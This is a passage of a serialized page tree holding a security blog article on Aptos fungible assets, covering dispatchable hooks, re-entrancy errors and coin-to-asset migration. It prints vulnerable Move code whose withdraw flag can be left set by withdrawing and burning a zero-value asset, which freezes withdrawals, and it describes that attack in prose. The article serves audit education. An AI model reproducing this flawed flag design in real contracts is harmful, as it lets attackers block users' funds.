deposit_hook",{"type":21,"tag":198,"props":66409,"children":66410},{"style":211},[66411],{"type":27,"value":3159},{"type":21,"tag":198,"props":66413,"children":66414},{"style":1966},[66415],{"type":27,"value":6800},{"type":21,"tag":198,"props":66417,"children":66418},{"style":683},[66419],{"type":27,"value":185},{"type":21,"tag":198,"props":66421,"children":66422},{"style":226},[66423],{"type":27,"value":6744},{"type":21,"tag":198,"props":66425,"children":66426},{"style":211},[66427],{"type":27,"value":7400},{"type":21,"tag":198,"props":66429,"children":66430},{"class":200,"line":408},[66431,66435,66439,66443,66447,66451],{"type":21,"tag":198,"props":66432,"children":66433},{"style":226},[66434],{"type":27,"value":30216},{"type":21,"tag":198,"props":66436,"children":66437},{"style":683},[66438],{"type":27,"value":185},{"type":21,"tag":198,"props":66440,"children":66441},{"style":1966},[66442],{"type":27,"value":61939},{"type":21,"tag":198,"props":66444,"children":66445},{"style":211},[66446],{"type":27,"value":3159},{"type":21,"tag":198,"props":66448,"children":66449},{"style":1966},[66450],{"type":27,"value":6800},{"type":21,"tag":198,"props":66452,"children":66453},{"style":211},[66454],{"type":27,"value":6950},{"type":21,"tag":198,"props":66456,"children":66457},{"class":200,"line":429},[66458,66463,66467,66471],{"type":21,"tag":198,"props":66459,"children":66460},{"style":226},[66461],{"type":27,"value":66462}," fa",{"type":21,"tag":198,"props":66464,"children":66465},{"style":683},[66466],{"type":27,"value":185},{"type":21,"tag":198,"props":66468,"children":66469},{"style":1966},[66470],{"type":27,"value":61918},{"type":21,"tag":198,"props":66472,"children":66473},{"style":211},[66474],{"type":27,"value":257},{"type":21,"tag":198,"props":66476,"children":66477},{"class":200,"line":450},[66478,66482,66486,66490,66494],{"type":21,"tag":198,"props":66479,"children":66480},{"style":226},[66481],{"type":27,"value":66288},{"type":21,"tag":198,"props":66483,"children":66484},{"style":683},[66485],{"type":27,"value":185},{"type":21,"tag":198,"props":66487,"children":66488},{"style":683},[66489],{"type":27,"value":7953},{"type":21,"tag":198,"props":66491,"children":66492},{"style":1966},[66493],{"type":27,"value":65803},{"type":21,"tag":198,"props":66495,"children":66496},{"style":211},[66497],{"type":27,"value":257},{"type":21,"tag":198,"props":66499,"children":66500},{"class":200,"line":468},[66501],{"type":21,"tag":198,"props":66502,"children":66503},{"style":211},[66504],{"type":27,"value":668},{"type":21,"tag":198,"props":66506,"children":66507},{"class":200,"line":477},[66508],{"type":21,"tag":198,"props":66509,"children":66510},{"style":1233},[66511],{"type":27,"value":66331},{"type":21,"tag":198,"props":66513,"children":66514},{"class":200,"line":494},[66515,66519,66523,66528,66532,66536,66540,66544,66548,66552],{"type":21,"tag":198,"props":66516,"children":66517},{"style":211},[66518],{"type":27,"value":66339},{"type":21,"tag":198,"props":66520,"children":66521},{"style":683},[66522],{"type":27,"value":4286},{"type":21,"tag":198,"props":66524,"children":66525},{"style":698},[66526],{"type":27,"value":66527},"deposit_with_ref",{"type":21,"tag":198,"props":66529,"children":66530},{"style":211},[66531],{"type":27,"value":706},{"type":21,"tag":198,"props":66533,"children":66534},{"style":226},[66535],{"type":27,"value":66357},{"type":21,"tag":198,"props":66537,"children":66538},{"style":211},[66539],{"type":27,"value":828},{"type":21,"tag":198,"props":66541,"children":66542},{"style":226},[66543],{"type":27,"value":6753},{"type":21,"tag":198,"props":66545,"children":66546},{"style":211},[66547],{"type":27,"value":828},{"type":21,"tag":198,"props":66549,"children":66550},{"style":226},[66551],{"type":27,"value":62111},{"type":21,"tag":198,"props":66553,"children":66554},{"style":211},[66555],{"type":27,"value":1470},{"type":21,"tag":198,"props":66557,"children":66558},{"class":200,"line":515},[66559],{"type":21,"tag":198,"props":66560,"children":66561},{"style":211},[66562],{"type":27,"value":1120},{"type":21,"tag":66564,"props":66565,"children":66566},"question",{},[66567,66594],{"type":21,"tag":30,"props":66568,"children":66569},{},[66570,66572,66578,66580,66586,66587,66593],{"type":27,"value":66571},"Why hook functions rely on ",{"type":21,"tag":194,"props":66573,"children":66575},{"className":66574},[],[66576],{"type":27,"value":66577},"*_with_ref",{"type":27,"value":66579}," calls? What would happen if the hook function called ",{"type":21,"tag":194,"props":66581,"children":66583},{"className":66582},[],[66584],{"type":27,"value":66585},"dispatchable_fungible_asset::withdraw",{"type":27,"value":17595},{"type":21,"tag":194,"props":66588,"children":66590},{"className":66589},[],[66591],{"type":27,"value":66592},"fungible_asset::withdraw_with_ref",{"type":27,"value":2156},{"type":21,"tag":66595,"props":66596,"children":66597},"template",{"v-slot:answer-0":7},[66598,66610],{"type":21,"tag":30,"props":66599,"children":66600},{},[66601,66603,66608],{"type":27,"value":66602},"A1: Hook functions rely on ",{"type":21,"tag":194,"props":66604,"children":66606},{"className":66605},[],[66607],{"type":27,"value":66577},{"type":27,"value":66609}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":21,"tag":30,"props":66611,"children":66612},{},[66613,66615,66620],{"type":27,"value":66614},"A2: A ",{"type":21,"tag":194,"props":66616,"children":66618},{"className":66617},[],[66619],{"type":27,"value":66585},{"type":27,"value":66621}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":21,"tag":30,"props":66623,"children":66624},{},[66625],{"type":27,"value":66626},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":21,"tag":187,"props":66628,"children":66630},{"className":3789,"code":66629,"language":3788,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[66631],{"type":21,"tag":194,"props":66632,"children":66633},{"__ignoreMap":7},[66634,66729,66749,66764,66784,66827,66842,66849,66856,66975,66994,67009,67028,67071],{"type":21,"tag":198,"props":66635,"children":66636},{"class":200,"line":201},[66637,66641,66645,66649,66653,66657,66661,66665,66669,66673,66677,66681,66685,66689,66693,66697,66701,66705,66709,66713,66717,66721,66725],{"type":21,"tag":198,"props":66638,"children":66639},{"style":226},[66640],{"type":27,"value":62053},{"type":21,"tag":198,"props":66642,"children":66643},{"style":226},[66644],{"type":27,"value":7019},{"type":21,"tag":198,"props":66646,"children":66647},{"style":226},[66648],{"type":27,"value":62062},{"type":21,"tag":198,"props":66650,"children":66651},{"style":211},[66652],{"type":27,"value":3159},{"type":21,"tag":198,"props":66654,"children":66655},{"style":1966},[66656],{"type":27,"value":6800},{"type":21,"tag":198,"props":66658,"children":66659},{"style":683},[66660],{"type":27,"value":185},{"type":21,"tag":198,"props":66662,"children":66663},{"style":226},[66664],{"type":27,"value":6744},{"type":21,"tag":198,"props":66666,"children":66667},{"style":211},[66668],{"type":27,"value":8423},{"type":21,"tag":198,"props":66670,"children":66671},{"style":226},[66672],{"type":27,"value":6753},{"type":21,"tag":198,"props":66674,"children":66675},{"style":683},[66676],{"type":27,"value":185},{"type":21,"tag":198,"props":66678,"children":66679},{"style":1966},[66680],{"type":27,"value":61939},{"type":21,"tag":198,"props":66682,"children":66683},{"style":211},[66684],{"type":27,"value":3159},{"type":21,"tag":198,"props":66686,"children":66687},{"style":1966},[66688],{"type":27,"value":6800},{"type":21,"tag":198,"props":66690,"children":66691},{"style":211},[66692],{"type":27,"value":7442},{"type":21,"tag":198,"props":66694,"children":66695},{"style":226},[66696],{"type":27,"value":62111},{"type":21,"tag":198,"props":66698,"children":66699},{"style":683},[66700],{"type":27,"value":185},{"type":21,"tag":198,"props":66702,"children":66703},{"style":1966},[66704],{"type":27,"value":61918},{"type":21,"tag":198,"props":66706,"children":66707},{"style":211},[66708],{"type":27,"value":828},{"type":21,"tag":198,"props":66710,"children":66711},{"style":226},[66712],{"type":27,"value":66357},{"type":21,"tag":198,"props":66714,"children":66715},{"style":683},[66716],{"type":27,"value":185},{"type":21,"tag":198,"props":66718,"children":66719},{"style":683},[66720],{"type":27,"value":7953},{"type":21,"tag":198,"props":66722,"children":66723},{"style":1966},[66724],{"type":27,"value":65803},{"type":21,"tag":198,"props":66726,"children":66727},{"style":211},[66728],{"type":27,"value":668},{"type":21,"tag":198,"props":66730,"children":66731},{"class":200,"line":217},[66732,66737,66741,66745],{"type":21,"tag":198,"props":66733,"children":66734},{"style":698},[66735],{"type":27,"value":66736}," assert_withdraw_flag",{"type":21,"tag":198,"props":66738,"children":66739},{"style":211},[66740],{"type":27,"value":706},{"type":21,"tag":198,"props":66742,"children":66743},{"style":249},[66744],{"type":27,"value":4806},{"type":21,"tag":198,"props":66746,"children":66747},{"style":211},[66748],{"type":27,"value":1470},{"type":21,"tag":198,"props":66750,"children":66751},{"class":200,"line":236},[66752,66756,66760],{"type":21,"tag":198,"props":66753,"children":66754},{"style":211},[66755],{"type":27,"value":63096},{"type":21,"tag":198,"props":66757,"children":66758},{"style":683},[66759],{"type":27,"value":10402},{"type":21,"tag":198,"props":66761,"children":66762},{"style":211},[66763],{"type":27,"value":12582},{"type":21,"tag":198,"props":66765,"children":66766},{"class":200,"line":260},[66767,66772,66776,66780],{"type":21,"tag":198,"props":66768,"children":66769},{"style":698},[66770],{"type":27,"value":66771}," set_withdraw_flag",{"type":21,"tag":198,"props":66773,"children":66774},{"style":211},[66775],{"type":27,"value":706},{"type":21,"tag":198,"props":66777,"children":66778},{"style":249},[66779],{"type":27,"value":3264},{"type":21,"tag":198,"props":66781,"children":66782},{"style":211},[66783],{"type":27,"value":1470},{"type":21,"tag":198,"props":66785,"children":66786},{"class":200,"line":281},[66787,66791,66795,66799,66803,66807,66811,66815,66819,66823],{"type":21,"tag":198,"props":66788,"children":66789},{"style":211},[66790],{"type":27,"value":66339},{"type":21,"tag":198,"props":66792,"children":66793},{"style":683},[66794],{"type":27,"value":4286},{"type":21,"tag":198,"props":66796,"children":66797},{"style":698},[66798],{"type":27,"value":66527},{"type":21,"tag":198,"props":66800,"children":66801},{"style":211},[66802],{"type":27,"value":706},{"type":21,"tag":198,"props":66804,"children":66805},{"style":226},[66806],{"type":27,"value":66357},{"type":21,"tag":198,"props":66808,"children":66809},{"style":211},[66810],{"type":27,"value":828},{"type":21,"tag":198,"props":66812,"children":66813},{"style":226},[66814],{"type":27,"value":6753},{"type":21,"tag":198,"props":66816,"children":66817},{"style":211},[66818],{"type":27,"value":828},{"type":21,"tag":198,"props":66820,"children":66821},{"style":226},[66822],{"type":27,"value":21101},{"type":21,"tag":198,"props":66824,"children":66825},{"style":211},[66826],{"type":27,"value":1470},{"type":21,"tag":198,"props":66828,"children":66829},{"class":200,"line":302},[66830,66834,66838],{"type":21,"tag":198,"props":66831,"children":66832},{"style":211},[66833],{"type":27,"value":63096},{"type":21,"tag":198,"props":66835,"children":66836},{"style":683},[66837],{"type":27,"value":10402},{"type":21,"tag":198,"props":66839,"children":66840},{"style":211},[66841],{"type":27,"value":12582},{"type":21,"tag":198,"props":66843,"children":66844},{"class":200,"line":323},[66845],{"type":21,"tag":198,"props":66846,"children":66847},{"style":211},[66848],{"type":27,"value":880},{"type":21,"tag":198,"props":66850,"children":66851},{"class":200,"line":344},[66852],{"type":21,"tag":198,"props":66853,"children":66854},{"emptyLinePlaceholder":16},[66855],{"type":27,"value":1283},{"type":21,"tag":198,"props":66857,"children":66858},{"class":200,"line":365},[66859,66863,66867,66871,66875,66879,66883,66887,66891,66895,66899,66903,66907,66911,66915,66919,66923,66927,66931,66935,66939,66943,66947,66951,66955,66959,66963,66967,66971],{"type":21,"tag":198,"props":66860,"children":66861},{"style":226},[66862],{"type":27,"value":62053},{"type":21,"tag":198,"props":66864,"children":66865},{"style":226},[66866],{"type":27,"value":7019},{"type":21,"tag":198,"props":66868,"children":66869},{"style":226},[66870],{"type":27,"value":21066},{"type":21,"tag":198,"props":66872,"children":66873},{"style":211},[66874],{"type":27,"value":3159},{"type":21,"tag":198,"props":66876,"children":66877},{"style":1966},[66878],{"type":27,"value":6800},{"type":21,"tag":198,"props":66880,"children":66881},{"style":683},[66882],{"type":27,"value":185},{"type":21,"tag":198,"props":66884,"children":66885},{"style":226},[66886],{"type":27,"value":6744},{"type":21,"tag":198,"props":66888,"children":66889},{"style":211},[66890],{"type":27,"value":8423},{"type":21,"tag":198,"props":66892,"children":66893},{"style":226},[66894],{"type":27,"value":6753},{"type":21,"tag":198,"props":66896,"children":66897},{"style":683},[66898],{"type":27,"value":185},{"type":21,"tag":198,"props":66900,"children":66901},{"style":1966},[66902],{"type":27,"value":61939},{"type":21,"tag":198,"props":66904,"children":66905},{"style":211},[66906],{"type":27,"value":3159},{"type":21,"tag":198,"props":66908,"children":66909},{"style":1966},[66910],{"type":27,"value":6800},{"type":21,"tag":198,"props":66912,"children":66913},{"style":211},[66914],{"type":27,"value":7442},{"type":21,"tag":198,"props":66916,"children":66917},{"style":226},[66918],{"type":27,"value":21101},{"type":21,"tag":198,"props":66920,"children":66921},{"style":683},[66922],{"type":27,"value":185},{"type":21,"tag":198,"props":66924,"children":66925},{"style":1966},[66926],{"type":27,"value":6673},{"type":21,"tag":198,"props":66928,"children":66929},{"style":211},[66930],{"type":27,"value":828},{"type":21,"tag":198,"props":66932,"children":66933},{"style":226},[66934],{"type":27,"value":66357},{"type":21,"tag":198,"props":66936,"children":66937},{"style":683},[66938],{"type":27,"value":185},{"type":21,"tag":198,"props":66940,"children":66941},{"style":683},[66942],{"type":27,"value":7953},{"type":21,"tag":198,"props":66944,"children":66945},{"style":1966},[66946],{"type":27,"value":65803},{"type":21,"tag":198,"props":66948,"children":66949},{"style":211},[66950],{"type":27,"value":2109},{"type":21,"tag":198,"props":66952,"children":66953},{"style":683},[66954],{"type":27,"value":185},{"type":21,"tag":198,"props":66956,"children":66957},{"style":1966},[66958],{"type":27,"value":61918},{"type":21,"tag":198,"props":66960,"children":66961},{"style":226},[66962],{"type":27,"value":8379},{"type":21,"tag":198,"props":66964,"children":66965},{"style":211},[66966],{"type":27,"value":2810},{"type":21,"tag":198,"props":66968,"children":66969},{"style":683},[66970],{"type":27,"value":10402},{"type":21,"tag":198,"props":66972,"children":66973},{"style":211},[66974],{"type":27,"value":62144},{"type":21,"tag":198,"props":66976,"children":66977},{"class":200,"line":386},[66978,66982,66986,66990],{"type":21,"tag":198,"props":66979,"children":66980},{"style":698},[66981],{"type":27,"value":66736},{"type":21,"tag":198,"props":66983,"children":66984},{"style":211},[66985],{"type":27,"value":706},{"type":21,"tag":198,"props":66987,"children":66988},{"style":249},[66989],{"type":27,"value":3264},{"type":21,"tag":198,"props":66991,"children":66992},{"style":211},[66993],{"type":27,"value":1470},{"type":21,"tag":198,"props":66995,"children":66996},{"class":200,"line":408},[66997,67001,67005],{"type":21,"tag":198,"props":66998,"children":66999},{"style":211},[67000],{"type":27,"value":63096},{"type":21,"tag":198,"props":67002,"children":67003},{"style":683},[67004],{"type":27,"value":10402},{"type":21,"tag":198,"props":67006,"children":67007},{"style":211},[67008],{"type":27,"value":12582},{"type":21,"tag":198,"props":67010,"children":67011},{"class":200,"line":429},[67012,67016,67020,67024],{"type":21,"tag":198,"props":67013,"children":67014},{"style":698},[67015],{"type":27,"value":66771},{"type":21,"tag":198,"props":67017,"children":67018},{"style":211},[67019],{"type":27,"value":706},{"type":21,"tag":198,"props":67021,"children":67022},{"style":249},[67023],{"type":27,"value":4806},{"type":21,"tag":198,"props":67025,"children":67026},{"style":211},[67027],{"type":27,"value":1470},{"type":21,"tag":198,"props":67029,"children":67030},{"class":200,"line":450},[67031,67035,67039,67043,67047,67051,67055,67059,67063,67067],{"type":21,"tag":198,"props":67032,"children":67033},{"style":211},[67034],{"type":27,"value":66339},{"type":21,"tag":198,"props":67036,"children":67037},{"style":683},[67038],{"type":27,"value":4286},{"type":21,"tag":198,"props":67040,"children":67041},{"style":698},[67042],{"type":27,"value":66348},{"type":21,"tag":198,"props":67044,"children":67045},{"style":211},[67046],{"type":27,"value":706},{"type":21,"tag":198,"props":67048,"children":67049},{"style":226},[67050],{"type":27,"value":66357},{"type":21,"tag":198,"props":67052,"children":67053},{"style":211},[67054],{"type":27,"value":828},{"type":21,"tag":198,"props":67056,"children":67057},{"style":226},[67058],{"type":27,"value":6753},{"type":21,"tag":198,"props":67060,"children":67061},{"style":211},[67062],{"type":27,"value":828},{"type":21,"tag":198,"props":67064,"children":67065},{"style":226},[67066],{"type":27,"value":21101},{"type":21,"tag":198,"props":67068,"children":67069},{"style":211},[67070],{"type":27,"value":789},{"type":21,"tag":198,"props":67072,"children":67073},{"class":200,"line":468},[67074],{"type":21,"tag":198,"props":67075,"children":67076},{"style":211},[67077],{"type":27,"value":1120},{"type":21,"tag":30,"props":67079,"children":67080},{},[67081],{"type":27,"value":67082},"At first glance, this code appears valid, but not to an astute reader.",{"type":21,"tag":66564,"props":67084,"children":67085},{},[67086,67091],{"type":21,"tag":30,"props":67087,"children":67088},{},[67089],{"type":27,"value":67090},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":21,"tag":66595,"props":67092,"children":67093},{"v-slot:answer-0":7},[67094,67114],{"type":21,"tag":30,"props":67095,"children":67096},{},[67097,67099,67104,67106,67112],{"type":27,"value":67098},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":21,"tag":194,"props":67100,"children":67102},{"className":67101},[],[67103],{"type":27,"value":61889},{"type":27,"value":67105}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":21,"tag":194,"props":67107,"children":67109},{"className":67108},[],[67110],{"type":27,"value":67111},"fungible_asset::destroy_zero",{"type":27,"value":67113},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":21,"tag":30,"props":67115,"children":67116},{},[67117],{"type":27,"value":67118},"It's important to understand all the features in the standard.",{"type":21,"tag":22,"props":67120,"children":67122},{"id":67121},"migrating-from-coins-to-fungible-assets",[67123],{"type":27,"value":67124},"Migrating from coins to fungible assets",{"type":21,"tag":30,"props":67126,"children":67127},{},[67128,67130,67135],{"type":27,"value":67129},"If a fungible asset is considered an upgrade to ",{"type":21,"tag":194,"props":67131,"children":67133},{"className":67132},[],[67134],{"type":27,"value":61344},{"type":27,"value":67136},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":21,"tag":67138,"props":67139,"children":67140},"note",{},[67141],{"type":21,"tag":30,"props":67142,"children":67143},{},[67144,67146,67151,67153,67158],{"type":27,"value":67145},"While the ",{"type":21,"tag":194,"props":67147,"children":67149},{"className":67148},[],[67150],{"type":27,"value":61344},{"type":27,"value":67152}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":21,"tag":194,"props":67154,"children":67156},{"className":67155},[],[67157],{"type":27,"value":61344},{"type":27,"value":658},{"type":21,"tag":30,"props":67160,"children":67161},{},[67162,67163,67169,67171,67176,67178,67183],{"type":27,"value":534},{"type":21,"tag":194,"props":67164,"children":67166},{"className":67165},[],[67167],{"type":27,"value":67168},"coin_to_fungible_asset",{"type":27,"value":67170}," converting function automatically generates a corresponding fungible asset for a ",{"type":21,"tag":194,"props":67172,"children":67174},{"className":67173},[],[67175],{"type":27,"value":61344},{"type":27,"value":67177}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":21,"tag":194,"props":67179,"children":67181},{"className":67180},[],[67182],{"type":27,"value":61344},{"type":27,"value":67184}," is not allowed.",{"type":21,"tag":187,"props":67186,"children":67188},{"className":3789,"code":67187,"language":3788,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[67189],{"type":21,"tag":194,"props":67190,"children":67191},{"__ignoreMap":7},[67192,67220,67247,67283,67316,67349,67385],{"type":21,"tag":198,"props":67193,"children":67194},{"class":200,"line":201},[67195,67199,67203,67208,67212,67216],{"type":21,"tag":198,"props":67196,"children":67197},{"style":226},[67198],{"type":27,"value":62053},{"type":21,"tag":198,"props":67200,"children":67201},{"style":226},[67202],{"type":27,"value":7019},{"type":21,"tag":198,"props":67204,"children":67205},{"style":226},[67206],{"type":27,"value":67207}," coin_to_fungible_asset",{"type":21,"tag":198,"props":67209,"children":67210},{"style":211},[67211],{"type":27,"value":3159},{"type":21,"tag":198,"props":67213,"children":67214},{"style":1966},[67215],{"type":27,"value":7395},{"type":21,"tag":198,"props":67217,"children":67218},{"style":211},[67219],{"type":27,"value":7400},{"type":21,"tag":198,"props":67221,"children":67222},{"class":200,"line":217},[67223,67227,67231,67235,67239,67243],{"type":21,"tag":198,"props":67224,"children":67225},{"style":226},[67226],{"type":27,"value":61563},{"type":21,"tag":198,"props":67228,"children":67229},{"style":683},[67230],{"type":27,"value":185},{"type":21,"tag":198,"props":67232,"children":67233},{"style":1966},[67234],{"type":27,"value":6615},{"type":21,"tag":198,"props":67236,"children":67237},{"style":211},[67238],{"type":27,"value":3159},{"type":21,"tag":198,"props":67240,"children":67241},{"style":1966},[67242],{"type":27,"value":7395},{"type":21,"tag":198,"props":67244,"children":67245},{"style":211},[67246],{"type":27,"value":3203},{"type":21,"tag":198,"props":67248,"children":67249},{"class":200,"line":236},[67250,67254,67258,67262,67266,67271,67275,67279],{"type":21,"tag":198,"props":67251,"children":67252},{"style":211},[67253],{"type":27,"value":2109},{"type":21,"tag":198,"props":67255,"children":67256},{"style":683},[67257],{"type":27,"value":185},{"type":21,"tag":198,"props":67259,"children":67260},{"style":1966},[67261],{"type":27,"value":61918},{"type":21,"tag":198,"props":67263,"children":67264},{"style":226},[67265],{"type":27,"value":8379},{"type":21,"tag":198,"props":67267,"children":67268},{"style":1966},[67269],{"type":27,"value":67270}," CoinConversionMap",{"type":21,"tag":198,"props":67272,"children":67273},{"style":211},[67274],{"type":27,"value":828},{"type":21,"tag":198,"props":67276,"children":67277},{"style":1966},[67278],{"type":27,"value":7525},{"type":21,"tag":198,"props":67280,"children":67281},{"style":211},[67282],{"type":27,"value":233},{"type":21,"tag":198,"props":67284,"children":67285},{"class":200,"line":260},[67286,67290,67295,67299,67304,67308,67312],{"type":21,"tag":198,"props":67287,"children":67288},{"style":249},[67289],{"type":27,"value":3809},{"type":21,"tag":198,"props":67291,"children":67292},{"style":226},[67293],{"type":27,"value":67294}," metadata",{"type":21,"tag":198,"props":67296,"children":67297},{"style":683},[67298],{"type":27,"value":979},{"type":21,"tag":198,"props":67300,"children":67301},{"style":226},[67302],{"type":27,"value":67303}," ensure_paired_metadata",{"type":21,"tag":198,"props":67305,"children":67306},{"style":211},[67307],{"type":27,"value":3159},{"type":21,"tag":198,"props":67309,"children":67310},{"style":1966},[67311],{"type":27,"value":7395},{"type":21,"tag":198,"props":67313,"children":67314},{"style":211},[67315],{"type":27,"value":9262},{"type":21,"tag":198,"props":67317,"children":67318},{"class":200,"line":281},[67319,67323,67328,67332,67337,67341,67345],{"type":21,"tag":198,"props":67320,"children":67321},{"style":249},[67322],{"type":27,"value":3809},{"type":21,"tag":198,"props":67324,"children":67325},{"style":226},[67326],{"type":27,"value":67327}," amount",{"type":21,"tag":198,"props":67329,"children":67330},{"style":683},[67331],{"type":27,"value":979},{"type":21,"tag":198,"props":67333,"children":67334},{"style":698},[67335],{"type":27,"value":67336}," burn_internal",{"type":21,"tag":198,"props":67338,"children":67339},{"style":211},[67340],{"type":27,"value":706},{"type":21,"tag":198,"props":67342,"children":67343},{"style":226},[67344],{"type":27,"value":61311},{"type":21,"tag":198,"props":67346,"children":67347},{"style":211},[67348],{"type":27,"value":1470},{"type":21,"tag":198,"props":67350,"children":67351},{"class":200,"line":302},[67352,67356,67360,67365,67369,67373,67377,67381],{"type":21,"tag":198,"props":67353,"children":67354},{"style":211},[67355],{"type":27,"value":66339},{"type":21,"tag":198,"props":67357,"children":67358},{"style":683},[67359],{"type":27,"value":4286},{"type":21,"tag":198,"props":67361,"children":67362},{"style":698},[67363],{"type":27,"value":67364},"mint_internal",{"type":21,"tag":198,"props":67366,"children":67367},{"style":211},[67368],{"type":27,"value":706},{"type":21,"tag":198,"props":67370,"children":67371},{"style":226},[67372],{"type":27,"value":62690},{"type":21,"tag":198,"props":67374,"children":67375},{"style":211},[67376],{"type":27,"value":828},{"type":21,"tag":198,"props":67378,"children":67379},{"style":226},[67380],{"type":27,"value":21101},{"type":21,"tag":198,"props":67382,"children":67383},{"style":211},[67384],{"type":27,"value":789},{"type":21,"tag":198,"props":67386,"children":67387},{"class":200,"line":323},[67388],{"type":21,"tag":198,"props":67389,"children":67390},{"style":211},[67391],{"type":27,"value":1120},{"type":21,"tag":30,"props":67393,"children":67394},{},[67395,67397,67404],{"type":27,"value":67396},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":21,"tag":34,"props":67398,"children":67401},{"href":67399,"rel":67400},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[38],[67402],{"type":27,"value":67403},"noticed an overlooked detail",{"type":27,"value":67405}," in the linking process.",{"type":21,"tag":187,"props":67407,"children":67409},{"className":3789,"code":67408,"language":3788,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[67410],{"type":21,"tag":194,"props":67411,"children":67412},{"__ignoreMap":7},[67413,67428,67448,67465,67521,67542,67562,67582,67612,67639,67646],{"type":21,"tag":198,"props":67414,"children":67415},{"class":200,"line":201},[67416,67420,67424],{"type":21,"tag":198,"props":67417,"children":67418},{"style":211},[67419],{"type":27,"value":2051},{"type":21,"tag":198,"props":67421,"children":67422},{"style":683},[67423],{"type":27,"value":10402},{"type":21,"tag":198,"props":67425,"children":67426},{"style":211},[67427],{"type":27,"value":12582},{"type":21,"tag":198,"props":67429,"children":67430},{"class":200,"line":217},[67431,67435,67439,67444],{"type":21,"tag":198,"props":67432,"children":67433},{"style":211},[67434],{"type":27,"value":62987},{"type":21,"tag":198,"props":67436,"children":67437},{"style":683},[67438],{"type":27,"value":4286},{"type":21,"tag":198,"props":67440,"children":67441},{"style":698},[67442],{"type":27,"value":67443},"create_primary_store_enabled_fungible_asset",{"type":21,"tag":198,"props":67445,"children":67446},{"style":211},[67447],{"type":27,"value":4268},{"type":21,"tag":198,"props":67449,"children":67450},{"class":200,"line":236},[67451,67456,67461],{"type":21,"tag":198,"props":67452,"children":67453},{"style":683},[67454],{"type":27,"value":67455}," &",{"type":21,"tag":198,"props":67457,"children":67458},{"style":226},[67459],{"type":27,"value":67460},"metadata_object_cref",{"type":21,"tag":198,"props":67462,"children":67463},{"style":211},[67464],{"type":27,"value":257},{"type":21,"tag":198,"props":67466,"children":67467},{"class":200,"line":260},[67468,67473,67477,67482,67486,67491,67495,67499,67504,67508,67512,67516],{"type":21,"tag":198,"props":67469,"children":67470},{"style":211},[67471],{"type":27,"value":67472}," option",{"type":21,"tag":198,"props":67474,"children":67475},{"style":683},[67476],{"type":27,"value":4286},{"type":21,"tag":198,"props":67478,"children":67479},{"style":698},[67480],{"type":27,"value":67481},"map",{"type":21,"tag":198,"props":67483,"children":67484},{"style":211},[67485],{"type":27,"value":706},{"type":21,"tag":198,"props":67487,"children":67488},{"style":226},[67489],{"type":27,"value":67490},"coin_supply",{"type":21,"tag":198,"props":67492,"children":67493},{"style":211},[67494],{"type":27,"value":3159},{"type":21,"tag":198,"props":67496,"children":67497},{"style":1966},[67498],{"type":27,"value":7395},{"type":21,"tag":198,"props":67500,"children":67501},{"style":211},[67502],{"type":27,"value":67503},">(), ",{"type":21,"tag":198,"props":67505,"children":67506},{"style":683},[67507],{"type":27,"value":2100},{"type":21,"tag":198,"props":67509,"children":67510},{"style":226},[67511],{"type":27,"value":3891},{"type":21,"tag":198,"props":67513,"children":67514},{"style":683},[67515],{"type":27,"value":2100},{"type":21,"tag":198,"props":67517,"children":67518},{"style":211},[67519],{"type":27,"value":67520}," MAX_U128),\n",{"type":21,"tag":198,"props":67522,"children":67523},{"class":200,"line":281},[67524,67529,67533,67537],{"type":21,"tag":198,"props":67525,"children":67526},{"style":226},[67527],{"type":27,"value":67528}," name",{"type":21,"tag":198,"props":67530,"children":67531},{"style":211},[67532],{"type":27,"value":3159},{"type":21,"tag":198,"props":67534,"children":67535},{"style":1966},[67536],{"type":27,"value":7395},{"type":21,"tag":198,"props":67538,"children":67539},{"style":211},[67540],{"type":27,"value":67541},">(),\n",{"type":21,"tag":198,"props":67543,"children":67544},{"class":200,"line":302},[67545,67550,67554,67558],{"type":21,"tag":198,"props":67546,"children":67547},{"style":226},[67548],{"type":27,"value":67549}," 